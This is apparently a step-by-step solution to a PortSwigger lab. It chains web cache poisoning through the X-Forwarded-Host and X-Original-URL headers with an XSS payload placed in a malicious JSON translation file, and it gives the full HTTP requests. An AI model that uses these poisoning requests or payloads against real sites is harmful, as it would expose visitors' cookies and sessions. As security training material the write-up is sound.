PortSwigger

Lab Description
This lab is susceptible to web cache poisoning, but only if you construct a complex exploit chain.
A user visits the home page roughly once a minute and their language is set to English. To solve this lab, poison the cache with a response that executes
alert(document.cookie)in the visitor’s browser.
Step 1: Understanding the Vulnerability
This lab requires a multi-step attack chain:
- Poison the Spanish page (
/?localized=1withlang=escookie) usingX-Forwarded-Hostto load malicious JSON from exploit server - Poison a redirect from English to Spanish using
X-Original-URL: /setlang\es - The victim visits English page → redirected to Spanish page → loads malicious JSON → XSS executes
Why this works:
- The translation JSON file is imported from the host specified in
X-Forwarded-Host - The DOM-XSS only triggers for non-English languages (Spanish)
- The victim’s language is English, so we need to force a redirect to Spanish
X-Original-URLwith backslashes triggers a cacheable 302 redirect
Step 2: Reconnaissance
Step 2.1: Discover Supported Headers
Use Param Miner to identify that X-Forwarded-Host and X-Original-URL are supported.
Step 2.2: Test X-Forwarded-Host
GET /?localized=1 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: lang=es
X-Forwarded-Host: example.com

Observe: The JSON file is loaded from example.com/resources/json/translations.json
Step 3: Create Malicious JSON on Exploit Server
Step 3.1: On the Exploit Server
- Create a file at:
/resources/json/translations.json - Add CORS header:
Access-Control-Allow-Origin: * - Set the body:
{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "</a><img src=1 onerror='alert(document.cookie)' />",
"Description:": "Descripción"
}
}
}

Step 3.2: Store the Exploit
Note your exploit server URL:
https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Step 4: Poison the Spanish Page
Step 4.1: Send Poisoned Request
GET /?localized=1 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: lang=es
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Origin: https://example.com

Step 4.2: Replay Until Cached
Keep sending until X-Cache: hit.
Step 5: Find Cacheable Redirect
Step 5.1: Test X-Original-URL with Backslash
GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
X-Original-URL: /setlang\es
Response: 302 Found redirecting to /setlang/es
This redirect is cacheable (no Set-Cookie header).
Step 6: Poison the English Page Redirect
Step 6.1: Send Redirect Poison Request
GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
X-Original-URL: /setlang\es
Origin: https://example.com

Step 6.2: Replay Until Cached
Keep sending until X-Cache: hit.

Step 7: The Combined Attack
Step 7.1: Keep Both Caches Poisoned
You need to maintain two poisoned caches simultaneously:
- Spanish page (
/?localized=1withlang=es) → loads malicious JSON - Redirect (
/withX-Original-URL: /setlang\es) → redirects English users to Spanish
Step 7.2: Replay Both Requests
Every few seconds, send both requests to keep the caches poisoned:
Remove Origin Header
Once both are cached, remove the Origin header from both requests.
Request 1 (without cache buster): Request 1 (Spanish page):
GET /?localized=1 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: lang=es
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Request 2 (without cache buster): Request 2 (Redirect):
GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
X-Original-URL: /setlang\es
Step 8: Verify in Browser
- Load the English home page
- You should be redirected to
/setlang/esthen to/?localized=1withlang=escookie - The malicious JSON is loaded →
alert(document.cookie)executes

Step 9: Lab Solved
The victim visits the English home page, gets redirected to Spanish, receives the poisoned Spanish page, and the XSS executes.
